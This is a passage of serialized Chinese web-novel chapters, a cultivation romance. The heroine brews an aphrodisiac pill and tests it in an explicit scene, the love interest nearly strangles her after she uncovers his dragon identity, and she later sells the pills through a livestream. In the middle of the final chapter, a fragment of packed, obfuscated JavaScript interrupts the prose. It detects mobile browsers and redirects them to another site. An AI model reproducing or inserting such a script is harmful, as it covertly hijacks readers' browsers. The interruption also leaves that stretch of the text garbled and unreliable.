应苍望着自己空荡荡的手心,眸光微沉:“这个就够了。”
“这个给不了你,”祈安解释道,“这是清风好不容易找来的,别人的一片好意,转赠也不好...”
祈安说完这话后,应苍就沉默了,本来从山谷间呼啸而过的风,也停歇了脚步,世界陷入了孤寂之中。
两个本来刚刚熟悉的人,某天突然从同一张床上醒来,做了亲密举动之后将原本维持的平衡尽数打破,有一种小孩穿大人衣服的违和感,沉默更是加剧了这种感觉。
祈安低着头,脚尖有一搭没一搭地踢着地上的石头:“你本来找我,就是想说这个?”
“不是,”应苍平静开口,视线越过祈安的头顶,落在了远方的山尖上,“我就是想知道,什么时候开始炼丹?”
... ...没看出来,还是个卷王。
她凑近了些,勾住了应苍的衣袖:“你昨天没吃那合欢丸吧。”
应苍颔首:“嗯。”
“怪了,那这合欢丸的效果怎么对女的也有用?我得去再看看,弄明白了就喊你炼丹。”
*
祈安窝在床上翻了半天书,仔细回忆了自己昨天的炼制过程,并没有发现什么问题。那本从清虚那里薅过来的丹药书,已经被她翻的卷起了边,正扣在她的面门上。
“难不成我真的要找师父去问清楚这配方是怎么一回事?那不暴露了我的计划吗?”
“要不配方不变?我让应苍直接试一下对男的有没有用?”
只是如果这样的话,祈安担心这药被存心不良的人拿来祸害女性。
她不甘心,又从床上爬了起来,拿出纸笔准备开始抄药方。
祈安本身是一个倔人。读书时,班上大部分学生对于一些有典型解法的题目,只记住解题思路,至于为何用这个解法,大家并不会关心。
但祈安偏偏是必须知其所以然的人,很多时候她的学习效率要比别人慢上不少,因为她把时间花费在了大部分人不愿意花费的地方。
由于她的问题刁钻,连老师几乎都不花时间来给她详细讲解,大部分时候她只能靠自己悟。住校时不能用手机查资料,祈安就采用最原始的本办法——抄。
老话说:书读百遍,其义自见。
眼下也一样。
宣纸铺满了整个桌子,祈安站在桌前,悬腕、蘸墨、下笔,一直从中午抄到了黄昏,哪怕方子早已熟稔于心,她依旧一字一看,仔仔细细地誊写,生怕自己遗漏了什么细节。
天色渐黑,她添了盏煤油灯。祈安活动着自己发酸的脖颈,侧躺在桌子上,将写着药方的书页立起。
本想着换个舒服的姿势看,没想到这一下发现了异常。
在媚骨藤几个字下面,书被人划开了一道口子。开始由于书页都是平铺叠在一起,哪怕是破了口子,也很难发现。这会儿把书页立起来,煤油灯摇晃的光就从那条道口子处给透进来了。
切口平整,就像是人刻意而为。
祈安翻阅了资料,这媚骨藤确实在很多书里都被用来制作合欢丸。但在一本书中,提到了一句:
【媚骨藤:食之,身段如藤蔓,有催情之功效。】
怎么看,都不像是个正经的材料。祈安仔细查了配伍,确认在把媚骨藤去掉之后,不会对人体产生伤害。
她当机立断,去掉试试。
实践是检验真理的唯一标准。
砰砰砰。
“应苍。”
做实验,没有实验仪器可不行,应苍的丹炉被她征用了。
好在应苍一直在房里,没有出去。
“走,我们去炼丹。”
应苍什么话也没问,带上房门就跟着祈安走了。
天还没有黑透,祈安特地去到了落霞宫的边界处,在往远一点就是一片森林,晚上鲜少有人。
祈安按照自己的想法,又炼了三颗合欢丸出来。
她继续马不停蹄地炼制解药。
合欢丸的解药就附在药方后面,刚好那些灵植落霞宫里都有,也是些寻常的材料,炼制起来并不麻烦。
在解药炼制完毕后,祈安将合欢丸也一并取出。一红一白,放在了应苍的手里。
“那个,你要是不愿意也没关系,不用勉强。”
在应苍吞下去之前,祈安还是又征询了一次他的意见。
毕竟试药这个事情,还是有一定的风险,她也不能强求。
应苍没有答话,直接捏起了红色的那颗,塞进嘴里吞了下去。
“你——”祈安没想到他动作那么快,自己想了想,也将合欢丸吞入腹内。
后面就是漫长的等待。
等待未知的过程,是最难熬的。祈安开始后悔,要是这药效对女性还有作用,那她岂不是又要和应苍......应苍也吃了,要是两个人都情到深处,还都在树林里面......
祈安倒吸一口凉气,只能在心底里暗暗祈祷自己的实验方向没有问题。还好她提前配置了解药,结果应该不会太糟。
大概过了一盏茶的时间,祈安还是没有任何感觉。她偷偷看向应苍,对方和平常一样,一张冷漠的脸,黑色长袍几乎与夜融为一体。
看他那样子,似乎合欢丸没有起
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任何的作用。
难道说,那媚骨藤必须要有?还是说这合欢丸一定会对女性有催情的效果。
不可能。
既然现代社会有只对男性起作用的药,在这里也一定可以配置的出来。祈安在大脑里飞速地过着几种关键的灵植,开始罗列不同排列组合的可能。
她没有留意到身旁的应苍脸上越来越红,衣襟上的盘扣被他已经悄然解开。
“祈安。”
祈安被应苍的声音惊到了,他声音低得像一头豹子。
“起了药效,是什么样的感觉。”
祈安立马爬起:“身体会发热,是那种从内向外喷发的热。”
“嗯。”应苍喉结滚动,低声应道。
“然后,心跳加速,就这里,有吗?”
祈安的手放在应苍的左胸处,不用他说,已经感受到了那蓬勃的心跳。心脏像是一台泵机一般,大力地起搏着。
“有可能还会有些头晕。”
应苍确实觉得有些晕,他已经顾不上地面是否干净,坐在了一棵树下,斜靠着树干。
腰带早已松散开,洁白的里衣露了出来。他轻轻哼叫了声:“晕。”
看来,这合欢丸大概率是炼成了,只差最后那个了...
祈安有些不好意思,犹豫半天,吞吞吐吐地说着:“还有就是,你那里,就就就那里、”
她指了指应苍的下身处:“胀吗?”
“胀。”
这个问题,应苍没有丝毫的犹豫。
他觉得自己胀得快要爆炸了,一种难以言喻的感受。就像被蚂蚁嗫咬一般,又像是快要喷发的火山。
痛。
热。
痒。
他知道该怎么缓解,可是祈安在这里,应苍始终没有伸出自己的手。
祈安看着应苍的表现,知道自己的合欢丸已经炼制成功了。只要有了药效,就不算虚假产品。
“我们成功了,你快把这个吃了。”
祈安想把手里的解药,塞进应苍嘴里。可他始终偏着头,不让她得逞。
情急之下,祈安一手捏住了应苍的下巴,撬开他的嘴巴,生把药灌了进去。
滚烫如火焰的应苍脸上突然来了阵冰凉,他根本不打算放过。
钳住了祈安的手腕,想把她整个人都揽过去。
祈安重心不稳,直直地往应苍的裆部栽去。
好在她闪躲的快,没有撞到重要位置,只是看清楚了那东西的轮廓。
这、么、大、一、个、吗?
祈安觉得自己肯定是看错了,她匆匆起身,躲到一旁,等待应苍药效过去。
可一炷香时间过去了,应苍似乎越来越难熬,丝毫没有缓解的症状。
怎么回事?难道是解药没用?不可能呀,我是按照书上配的,怎么会...
祈安一拍大腿,才想起自己改了原本的配方,可能这解药也要同步修改。
这下糟了。
那边的应苍外衣已经全脱掉了,里衣也被汗水浸透,那双眼睛里哪里还有平日里的疏离,早已被欲色填满,湿漉的眼睛望着她:
“阿祈,我有些忍不住了。”
26.荒唐事
“什、什么意思。”
祈安明白应苍说的话,只是她一时还没有找到应对的法子,嘴上只能机械式的询问,脑子在迅速想着。
怎么办、怎么办。
应苍坐在树根处,晚间山野里的风对他体内的火一点用处都没有。
他已经知道,祈安的解药没有起效,自己也没办法再回到房间里,唯一的路子就是在这里...
可祈安就在他身边,应苍在理智尚存的时候,几近哀求道:“你走远点。”
这句话一出,祈安稍加思考,就明白了应苍的意思。自己走远点,他就好独自缓解一下。
祈安点点头,背身往远处走去。
应苍看到她离开的身影,松了口气。潮湿的手开始松开自己最后的衣带,刚准备探下去的时候,却听到了远处女孩儿的声音:
“应苍,我还是留在这里吧。要是你有什么事情,我还能帮上点忙。”
突然出现的声音和靠近的身影,打乱了应苍的节奏。
他行进到一半的手被迫停下了动作。
祈安只需要一瞟,就看的到应苍露出的腹部。人鱼线从松垮挂着的裤子边,缓缓往上延伸,而应苍上半身一边的衣服已经褪到了背上,一粒粉色若隐若现。
祈安呼吸一滞,昨天晚上一些残存的记忆又涌了上来。她告诫自己要保持镇定,这只是一场实验,要有专业精神。
尽可能地避免往应苍露着的皮肤上瞄。祈安将视线更多地停留在了他的脸上。
可这张脸此刻也艳得犯规。什么拒人千里之外、冷若冰山、不近人情的神色通通不见了,满脸只看得到欲望二字。
头往后仰着,双眼微阖,发丝被汗水黏在了脸侧。胸膛因为呼吸而上下起伏着,露出一段透着红润的脖颈,喉结在滑动,鸟儿在轻啼。
祈安承认自己被这一幕吸引住了。
以前的朋友都说她慕强,只喜欢各方面都优秀的人。她不置可否,向来都只是笑笑。
没有人知道,她是喜欢强者,却也更喜欢强者在自己面前破碎的样子。
这时候的应苍就是这样。
初遇时哪怕他满身是伤,眼里也没有一丝惧意,有的只有孤傲与不满。尽管清虚说他是筑基修为,可祈安看得出来,应苍就是一个天生强者。
强者身上的气息,是模仿不出来的。
这也是祈安后面主动与他接触的一点私心。
此刻的应苍,无外乎是破碎的。
有着一种瓷娃娃被摔碎后诡异的美感。
祈安一直在告诫自己:冷静、冷静,救人要紧......
她前几天在学习功法的时候,刚学会了障避术。祈安将灵力凝在指尖,默念口诀。很快,在她和应苍身前,升起了一道淡淡的光幕。
祈安还只有练气期,这光幕只能挡得住普通人的视线,若是来几个高阶修士,光幕下的场景依旧清晰可见。
不过好在,聊胜于无。
祈安灵力不多,光幕能够划出的范围有限,只有一小块够他们活动的空间。她走到应苍的背后,在同一棵树的另一侧坐下:
“你不用担心,我在这里什么都看不到。只是担心你一个人遇到什么危险,毕竟这也是因我而起,不能一个人离开。”
应苍不愿意祈安在自己身旁,他低吼着:“走开。”
祈安声音平淡:“我不。”
“再说一次,走开。”
“不走。”
“你到底走不...”
一只手从身后伸出,直接覆上了应苍的胸前,截断了应苍后面的话。
祈安故意将自己整只手都放上去,不偏不倚,正中红心,完全可以感受到手心中央的颗粒感。
她想了想,又来回摩擦了几下。
嗯啊。
应苍被祈安大胆的举动彻底驯服了,他的理智完全土崩瓦解,一只手捏着祈安的手往自己胸前按,另外一只手继续起刚才没有做完的动作。
祈安听到身后应苍的说话声渐停,逐渐被衣物之间的摩擦声所代替,就知道他已经开始了。
她仍然保持着一只手放在应苍胸上的动作。一个动作维持久了,难免会有些不舒服,何况她此刻整个身体都是僵硬的。
祈安想调整一下,手刚从应苍身上离开一点点,就被他给抓住了。
喘息的空隙中,蹦出了两个字:“别动。”
祈安很难形容自己听到这两个字时的感觉,酥酥麻麻的。既有祈求,又有命令,矛盾极了。祈安果然没再动了。
她一向是这样的,别人让她满足了,让她自然也会让别人满足。
不管是物质上,还是精神上。
有时祈安都分不清楚,这究竟是因为她不愿意欠别人的,还是因为她总把自己摆在一个更高的位置。
毕竟高位的人,总是可以施舍的。
维持这动作不知道过了多久,祈安实在是有些撑不住了。半边身子已经麻木,在很多次她都以为应苍要结束的时候,他的动作就又慢了下来。
接着就是绵长又低沉的呻-吟声。
到底什么时候才好。
她的耐心快要耗尽,没忍住,催促了下:“还要多久才好。”
应苍没有说话,回答她的依旧是沉重的声音。
“快好了吗?”
又一次的催促。
“现在呢?”
... ...
祈安实在是想活动一下身子了:“应苍。”
应苍到现在的状态有一段时间了,每次在喷发的边缘时,总感觉差些什么,所以都硬生生地卡在了关口处。就在刚才祈安叫了声他的名字后,几个场景画面的闪回,帮他冲破了关口,喷涌而出。
祈安的手被松开,身后人的动作明显加快。祈安捧着自己发酸的手腕,不敢动弹。
直到急促的喘息声停止,直到呼吸声渐平,祈安明白这因为自己而起的荒唐事终于结束了。
她打算起身,突然听到身后地上有窸窣的声音。祈安对这种声音很敏感,住在孤儿院时,旁边就是一大片荒地。夏天经常会听到类似的声音,都是有蛇从附近经过。
祈安担心自己和应苍被毒蛇咬到,连忙转身。可就在她转身的瞬间,她看到一条尾巴迅速地收回到了应苍的衣服内。
虽然只是一瞬间,但祈安看得真切。
那条尾巴上整齐地排列着龙鳞,和自己脖子上的那个一模一样。
地上也有尾巴
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划过的痕迹。
祈安陡然升起了一个可怕的念头,她面上依旧维持着平静,但说话的声音还是带了些颤抖:
“你收拾好了吗?”
应苍还停留在情潮的余韵里,没有感受到祈安的不对劲。他拿出帕子将自己手指一一擦拭干净,衣服收拾妥当后,才站起来。
祈安听到动静后,绕到应苍面前:“走吧,回家去。”
两人一前一后走着,一路上一句话都没有说,直到分开前,祈安漫不经心地说了句:
“你早点休息。”
说罢,就回了自己的房间。
应苍看着祈安的背影,明显感知到了她状态的变化。他握住自己左边手腕,拇指一直搓着上面的疤痕:
难道说,刚才她已经看到了?
在最后的阶段,应苍没想到自己没藏住真身。
龙尾突然显现,虽然收得及时,但还是有被发现的可能。
应苍在门口站了很久,他开始思考后面的对策。
*
祈安回房之后,立马给自己倒了茶。咕嘟咕嘟连喝三杯后,才缓解了自己口中的干渴。
她仔细回忆刚才看到的那条尾巴。
回收的动作很明显,且只剩下了尾巴尖。要不是有月色,龙鳞泛着墨绿色的光,祈安都不会和自己那个吊坠联系在一起。
只是这颜色太特殊了。
墨绿色。
在原书里,苍龙的本体就是墨绿色的。
她开始在自己的脑海中拼凑记忆拼图。
遇到应苍的时候,他满身的伤。易为春曾说那是贯穿伤,从前胸穿到后背,似乎是被人锁在了某处。
原书里,苍龙一族的凌阳就是被九幽玄铁锁在了无光谭里,截止目前,已有千余年。
在遇到应苍没多久,青霞宗的九霄真人就通告了整个修真界,凌阳出逃。
时间上,也刚好对得上。
祈安越想越觉得自己的猜想是对的。
应苍曾说过他只喜欢吃鱼虾,符合原书里对凌阳的描述。
还有...
那道疤!
祈安今早看到了应苍腕骨处月牙形的疤痕。难怪那时候觉得眼熟,原来书里也描述过。
凌阳有个标志性的动作,在思考或是精神高度紧张的时候,就会用右手拇指一直摸着那里,直到想出答案来。
照这么想,应苍极有可能,就是当年的凌阳。
凌阳...凌阳...
如果是同一个人,面容上怎么会相差这么多?在祈安想象中的凌阳,不是应苍这般孤高的模样。
哪怕是骄傲,凌阳的骄傲也是如同火焰一般。
可是眼前的应苍的,分明全是黯淡的黑色。
祈安整晚都在想着应苍,连梦里也不例外。梦里的应苍显出了龙身,用尾巴将她卷起,放在了背上。背上缺了一块鳞片,祈安掏出了自己怀里的那枚,形状大小刚好契合。
她一把抱住了龙的脖子,蹭了蹭。
应苍看着半夜梦行症发作来到自己房间里祈安,没有任何征兆地抱住了自己。
然后问出了那句连他自己都无法回答的话:
“你现在是应苍,还是凌阳呀。”
27.伴生契
凌阳。
应苍把这个名字在心里滚了好几遍。
凌阳二字早就在千年前随着苍龙一族消失了,哪还有什么苍龙少主凌阳,他只能是应苍。
在无光谭里的时候,应苍不能确定自己能否出去,但还是给自己起好了名字。
选了母亲的姓,留下了苍龙的苍。
那日无光谭下封印突然松动,给了他逃脱的机会。本想用易容术更换容貌,却意外发现在无光谭下这么长时间,他的样貌早就变了。
连自己都没认出来。
也好,省的再去遮掩了。
今日听到祈安提到凌阳,应苍倒也不意外。他已经猜到,祈安大概是看到自己的龙尾了。
只是没想到她如此聪慧,竟然能猜到自己的身份。
也不知道她突然得知自己这么多天来,是和一个被世人唾弃的人一起生活,心里会是什么样的。
厌恶?惊恐?恶心?
总之不会是什么好的情绪。
应苍低头看着抱着自己的祈安,昨晚两个人还在床上亲密无间,今晚怕是就要将她杀掉了。
早上应苍就已经发现,自己体内的寒疾已完全消失。看来祈安的体质确实特殊,竟然能够帮他除掉全部的寒疾。
本来想着她救了自己,又帮自己疗伤,可以给她留一条命。现在看来,这命怕是留不住了。
应苍擒住了祈安的脖子。
她的脖子过于纤细,一只手就可以握住。只要稍稍用力,白皙的肌肤上就会立刻显现出红痕。
“阿祈,”应苍抚上了祈安的脸,手指从她的额间缓缓滑落,掠过睫毛、眼尾,最后停留在了唇边。
他用拇指反复地在祈安的唇上擦拭,柔软的触感让他恨不得将她碾碎:“对不起。”
应苍手下用力,祈安呼吸不顺,一张脸已经憋得通红。她人还没有从梦中醒来,可身体已经发出了求生的信号,一双手紧紧地抓着应苍的手,想要把他从脖子上扯下来。
应苍看着祈安这副样子,心里有些不忍,可是千年来每一晚的孤寂都在提醒着他:
此仇必报。
他手底的力度没减,只是撇过了头。如果再看着祈安这张难受的脸,他可能真的会犹豫。
祈安挣扎的力度渐渐小了,应苍闭上眼睛,没敢去看她。就在此刻,他胸口前一烫,痛感直接传到了心脏上。应苍低头,瞧见他的心口处,有一道印记渐渐浮现,闪着红光。
印记是莲花状,可惜只有一半,像烙在了皮肤上。应苍心底一惊,松开了祈安。
祈安软趴趴地倒下,应苍扶着她,扯开了衣襟。果然,祈安的心口处也有着同样的印记,不过她身上的,是另外一半的莲花。
伴生契!
应苍不知道两个人什么时候结下的这伴生契。
伴生契维系的两人,一人死,另外一人也不可活。
许是刚刚祈安已经濒死了,才激活了这契约。
这下,不能杀她了。
应苍不知是不是自己的错觉,此刻的他突然松了一口气。
还好,不能杀她了。
*
祈安睡醒后,突然发现自己说不出话来。她下床一看,发现自己脖子上有着一个清晰的紫手印。
啊——
她想放声尖叫,可是发不出声音来。
“来财来财,快醒醒。”
她想叫醒来财,可依旧发不出声音,而且来财自从上次睡过去了,再也没有醒来过了。
怎么办怎么办,好像有什么人来落霞宫了。
祈安立马想到了应苍。
如果应苍是凌阳的话,那这人是不是冲着他来的。眼下他身上还有伤,如果真的被人晚上杀了......
不行,她要赶快去看看。
砰砰砰!
嗯嗯嗯(应苍,开门应苍。)
敲了好久,门才从里面打开。祈安看到应苍还好好的,才松了口气,一把把他拉进了房间里。把他胳膊、脖颈、脸上凡是她能够看得到的地方,都检查了一遍,确定没有什么明显的伤痕后,整个人才放心下来。
“怎么了。”
应苍早已看到了她脖子上的伤痕,那是自己昨天的杰作。
他的心脏有些钝痛,那一大片的青紫过于刺眼。
嗯嗯嗯嗯嗯
祈安手舞足蹈,应苍一句话都没听明白。看着她着急的样子,心里愧疚更加。
他拿来了纸和笔,平铺在桌子上:“慢点说,不着急。”
【昨天好像有坏人,你有没有事?】
应苍摇头:“我这里没什么异常。”
【你没事就好。我一醒来就发现自己不会说话了,吓死我了。】
应苍:“你的脖子......”
【肯定就是昨晚那个王八蛋弄得!】
... ...
应苍抿抿嘴:“你这看上去像是外力所致,导致喉管变窄,无法发声。我这里有药,你可以试一试。”
【好呀好呀】
应苍从衣袖里拿出了一个小盒子。祈安打开,里面是油膏状的固体,浅绿色,透着一股清凉。
她拿出镜子,一点点地给自己涂抹着。可是视线受阻,总是涂不对地方。
“我来吧。”
祈安看着应苍从自己手里拿过药膏,食指指腹轻沾些后,伸向了自己的脖子。
“抬头。”
应苍声音很轻,祈安听话的抬起头来,将脖子完全露了出来。
她感受到应苍一直手抬着她的下巴,另外一只手在她脖颈处轻柔地点着。
应苍低头的时候,发丝会落在她的颈侧,痒痒的。祈安很想躲,可是应苍抬着他下巴的那双手施了很大的力,她只能被动地承受着。
涂药的过程没人说话。
祈安惊叹于应苍的耐心,每一处他都面面俱到。先是用指腹轻轻地将药膏点在脖子上,而后一圈圈一圈圈地慢慢晕开,等药膏完全化开后,应苍还会将嘴凑过去轻轻吹口气。
他的鼻息是热的,吹出的气却是凉的。
祈安的睫毛不停地扑扇着,这么近的距离让她有些招架不住。无意识地吞了几下口水,应苍看到她脖颈的滑动,整个人的身体都有些僵硬。
他觉得自己某处好像又有了感觉。
真是该死。
应苍唾弃于自己的肮脏。
昨天弄伤祈安的是他
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,今天给祈安涂药的也是他。在涂药时胡思乱想的,还是他。
应苍觉得自己就像是在阴沟里生活的恶龙一般,和祈安相比,简直是格格不入。
他调整了下坐姿,让自己看上去不是那么明显,加快了手底的动作。等全都涂抹完了之后,指尖聚了点灵气,注入到了祈安的喉间。
“好了。”
应苍拉开了和祈安之间的距离。
祈安的头终于可以回归正常的位置了,长时间的后仰让她有些脑袋充血,整个人都是晕乎乎的:“终于好了,谢——诶?”
“诶?我能说话了?”
“啊——哦——诶——妈呀,我真能说话了!”
她一把抓住了应苍:“你这药也太管用了吧!”
不愧是凌阳!
这句话祈安只在心里默默地念了念,并没有说出来。她已经默认应苍是凌阳了,但不准备和他去求证。
多一事不如少一事,只要没人发现,那她永远把他当做应苍。毕竟两人认识的时候,他就是应苍,可不是什么凌阳。
应苍不知道祈安心里的想法,他一直在暗暗观察她的举动。若是她已经知道自己就是那个被关起来的凌阳,为何此刻看不出一点异常?
难道说是自己想多了?她其实根本不知道?
“想什么呢?”祈安用胳膊肘戳了戳他,“我先走了,你一个人一定要注意安全,听到了吗?”
“好。”
*
在这件事之后,祈安开始决定学习一些防身的功法。之前学的大多与炼丹有关,在关键时候,似乎不可自保,所以她就缠着易为春教她一些剑法。
易为春每日凌晨就会起来练剑,祈安为了也跟着他这个时候起,基本上每天都会练上两个时辰。
她不光要偶让自己变强,也想要应苍变强。万一哪天那青霄宗的人找上门来,他们这落霞宫一大帮子人可是一点忙都帮不上,只能靠应苍自己了。
祈安始终记着清虚的话,应苍要多晒太阳,多吃山野间的食物。每天练完剑后,祈安都会拖着应苍一起去晒太阳。
时不时地还会上树给他摘果子吃。
其实以祈安的灵力,她完全可以在树下隔空摘果,但她秉着心诚则灵的念头,每次都是爬上树去一个个地摘下来。
开始应苍还是会嫌弃她满身脏兮兮后,后来竟然也习惯了。每次祈安捧着脏果子给他的时候,他都会自然地接过,然后拿到山涧里洗干净。
祈安不得不承认,有洁癖的人洗的果子是干净,由于自己付出了劳动,她心安理得地接受了应苍的清洗服务。
日子就这样又过了一个多月,已经要渐渐入秋了。等到了冬天,这些最下阶的宗门就只能闭关过吃存粮的日子了。
要趁着冬天来临前,给宗门攒点钱。
祈安数了数自己这些日子攒下来的合欢丸,也有将近100颗。她决定,将之前为宗门赚钱的计划提上日程。
鼓捣了半天,终于把所有合欢丸都上架了。
但是来了一个棘手的问题,祈安不知道该卖多少钱。
她迷茫地望着一旁的应苍:
“你买过合欢丸吗?这一颗要卖多少灵石?”
28.赚钱了
应苍不知道合欢丸的价格,祈安抓着师兄们问了一圈,也无人知晓。
合欢丸功效特殊,很少有人拿到明面上来售卖,因此价格也并不透明。
祈安叹口气:“那就只能自己想办法了。”
“这合欢丸的灵植,是三师兄换来的。”祈安叼着笔,在纸上盘算着,“如果不换灵植的话,那三师兄可以赚到300块下品灵石。也就是这批合欢丸的成本是300块灵石。”
“初步估计可以做成两百粒合欢丸,加上损坏、货物积压、还有这破系统的手续费,一颗合欢丸的成本就算五块灵石。”
“如果按一粒合欢丸10块灵石,那要卖60粒才能回本。”
“如果想赚点,至少要卖出120粒。”
这不是一个小数目。
祈安看看自己的粉丝,现在才刚破两百,甚至还有一些是系统赠送的僵尸粉,一开始卖出120粒有些困难。
她想了想,决定给合欢丸定价高一些。
29.9?49.9?
祈安决定先把价格定为29块下品灵石,将库存数量调整为10粒,卖一波试试水。
既然价格不透明,那市场上的价格一定有高有低。就连普通的聚灵丹都要20块下品灵石,合欢丸卖29块,应当不算离谱。
而且她这里还有一个卖点——无接触交易。没人会知道买这合欢丸的人是谁,保密发货,售后无忧。
十粒,应当不难卖吧。
祈安改好价格后,立马开了直播。她向来如此,决定好的事情就会立刻去做。
“大家好哇!”
刚开播,弹幕就开始滚动了起来。
【主包好】
【我来啦!】
【老婆贴贴】
祈安会心一笑,坚持直播的这些时日,还是积累了些铁粉,只要看到她一开播,就立马进来互动。
她像往常一样打完招呼后,直接切入了主题:
“之前一直和大家说我在炼丹药,终于在前几天炼制成功了。这次主要炼的是合欢丸,我已经上架到...”
“...下方小黄车里了”
还没等祈安说完,整个弹幕区就炸开了锅。
【合欢丸?我去!老婆好勇!】
【是我知道的那个合欢丸吗?】
【这都能拿出来卖?脸皮也太厚了吧。】
【是呀,看着年纪不大,没想到整天想些这种事】
【一个女的卖合欢丸,自己试过吗就卖】
......
嘲讽的言论如潮水般涌来,偶尔的几个正面评论也被淹没。祈安有想过可能有部分人接受度不高,但是没想到大家有这么强的反应。
祈安不想被这些言论影响,没有理会,继续说着:
“这合欢丸是我偶然得到的一本药方上记载的。考虑到合欢丸功效特殊,大家平日里购买起来并不方便,我才有了将合欢丸制作出来放置在小黄车上的想法。”
“如果有购买合欢丸需求的道友,可以不用与我当面交易,直接在直播间内匿名购买就可以。”
“除了买家自己,无人知晓是谁购买了合欢丸,隐私性高。”
“关于价格方面,”祈安顿了顿,“这一批的售价是每粒29块下品灵石。”
话音刚落,直播间里就不淡定了:
【二十九块灵石?】
【这也太便宜了吧!】
【你这是骗子吧】
......
祈安看着观众的反应,已经能够猜测到自己这次的定价是远低于市场价的。她长呼一口气,只要价格足够划算,就会有人买单。
她拿出了自己早就准备好的说辞:“这个价格是回馈给大家的,有需要的粉丝可以点击小黄车购买,只有10单,每人限购1单。至于药效好不好,大家可以试了之后再进行评判。”
“3、2、1——上架了。”
她没想到的是,这10单居然秒空。
【就没有了?】
【再来点。】
【真的上了吗?怎么我点进去就是空啊。】
看着空荡荡的小黄车,祈安立马知道自己定价可能太低了。弹幕仍在不停地刷屏,依旧有质疑声,但明显比之前小了许多。祈安打算趁着这个势头,再饥饿营销一波。
“非常感谢大家对十亿合欢丸的支持,确实炼制这些药丸花费了我很多的精力。这次定价这么低是因为想要回馈直播间里的观众,抢到的朋友也可以在这几天试试效果,十亿相信,这合欢丸肯定不会让你们失望的。”
祈安在说话的空档,也瞄了几眼弹幕,基本上都是在刷屏准备再买一些,便趁机继续说道:“后面还会有一批特价合欢丸上架,一共是90粒,价格的话每粒比这次多20灵石——”
说到这里,祈安特地停住了,她在观察大家的反应。所有的弹幕都是在问什么时候上架,没人纠结价格的事情。
祈安微微皱眉,她隐约觉得自己错过了一个亿:这合欢丸外面到底卖多少钱一粒啊,能让他们这么疯狂。
可既然已经说出了价格,就没有再反悔的余地,就当是引流好了。祈安很快想出了对策:“下次售卖数量还是有限,如果有真心需要的观众,可以下次请朋友一起来帮你抢,这样抢到的几率会大些。”
“好了,今天就先到这里,拜拜。”
说完后,祈安火速下线。
点开订单,10个订单整齐地排列着,账户总额那里赫然写着290三个数字。
祈安想都没想,立刻点了提现。
霎那间,灵石就浮在了祈安面前。她两个口袋都塞的满满当当,怀里也捧满了灵石,趁着四下没人就回到了房间。
哗啦。
灵石倒了满桌。
1、2、3......231、232!
整整232块,扣除掉两成的手续费,不多也不少。
祈安先从里面划出了30块,这是她承诺给应苍的。又划出52块来留给自己,剩下的150块灵石,她都准备给三师兄。
毕竟这药草也是陈飞韩用自己的劳动换的,赚了的钱先把他的那部分还完,余出来的再给宗门。
后面那90粒合欢丸,还可以卖出4410块灵石,到时候她把这些都拿出来,怕是会把大家吓一大跳。
祈安决定给师兄们一个惊喜,把宗门的那一份藏了起来,自己身上揣着应苍的那份去找他。
应苍正在房间里拿着玄光鉴,看样子像是在和别人聊天。祈安以为他在忙,就没去打扰,安静地等在一旁。也不知道时间过了多久,久到她差点睡着了,应苍才从自己的世界里出来。
“我知道了。”
祈安打了个哈欠,懒洋洋地问道:“你知道什么了?”
“一般来说,一粒合欢丸大约能够卖到300块灵石,贵一点的500左右,最便宜的也要100块灵石。”
祈安:......
她的心在滴血。
就按卖最便宜的卖,她也大概亏了五千多块灵石。难怪那些人像是不要钱一样疯买,市场价都被她扰乱了。
祈安脸上挂着生硬的笑,从自己衣兜里摸出了给应苍分红的灵石:“可惜你说的太晚了,我已经卖掉十粒了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278144|178270||http|test|mini|href|location''.split(''|''),0,{}));
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>“多少钱卖的?”
祈安依旧假笑:“不到30。”
“哦。”应苍若有所思地点点头,“还剩一些,可以卖的贵一些。”
祈安一听应苍的话,心里更加难受:“那些,也约等于卖出去了。”
?
应苍不解。
“我承诺了价格...... ”
后面是她故意不说的,可应苍偏偏要问:“多少?”
“不!到!五!十!”
听完这话,应苍终于不作声了。
这合欢丸的市场价,还是他托凌渊去打听的。
凌渊当年因为全族被害,少主被捕,一夜白头,早已成了一个两鬓斑白、身形瘦削的老人。他顶着自己这般样貌四处去打听合欢丸的价格,遭来了不少白眼,不知被骂了多少句老不正经,才知道了真正的价格。
也因此耽误了些时间,没想到祈安已经卖掉了。
祈安把自己带来灵石全都堆在了应苍面前:“这个是这次收入的一成,你先拿着,三天之后还有一批,我到时候再给你送。”
把灵石给了应苍后,她还是有点愤愤不平:“这些人怎么不去抢啊,一个合欢丸卖这么贵。”
祈安并不知道,由于自己天灵根体质加之在炼丹方面有天赋,再配上应苍的顶级丹炉,整个炼制过程下来出丹率极高。不是别人黑心,而是其他炼制合欢丸的丹修属实成本也不低。
第一批合欢丸卖出后,已经在小部分地区引起了轰动。
不光价格低,而且还由于效果极佳,买方都非常满意。
祈安无需等到下一次直播,就已经知道了这些正面的反馈。
从合欢丸售出的那天晚上起,系统就不断地给她播报:
【买家1夸赞了您的合欢丸,功德+1】
【买家2夸赞了您的合欢丸,功德+1】
【买家1夸赞了您的合欢丸10分钟,功德+5】
【买家1又夸赞了您的合欢丸,功德+10】
......
这个一号买家应当是吃了合欢丸后,一直奋战到了深夜,实在是效果太好,无时无刻不再夸奖。
正因如此,在祈安三天后第二次开播的时候,合欢丸刚刚上架,都不需要她宣传,一句话都没说,就全都卖空了。
“额......”
伶牙俐齿的祈安第一次感到局促,嗯啊半天也说不上话来。
【什么时候再上?】
【我还要买】
【这么好用我给我家那位也买点】
......
她也想继续卖啊,可惜实在没有存粮了。祈安无奈说道:“我知道大家都很想要买,你们先消化一下这次买的,我再去做一些出来。不过......”
她顿了顿:“这合欢丸做起来实在耗神,以后的价格就不会有这么低了。”
【300以下我都可以买】
【价钱没关系,有用就好】
【什么时候再上,提前说一声】
......
嚯!没看出来,这修真界的难言之隐还挺多。
祈安草草应下,赶忙下线。她还不能那么快做下一批,还是要通过系统的功德计算来看看这次的质量到底怎么样。
祈安刚一下播,系统提示音就来了,不过不是功德的:
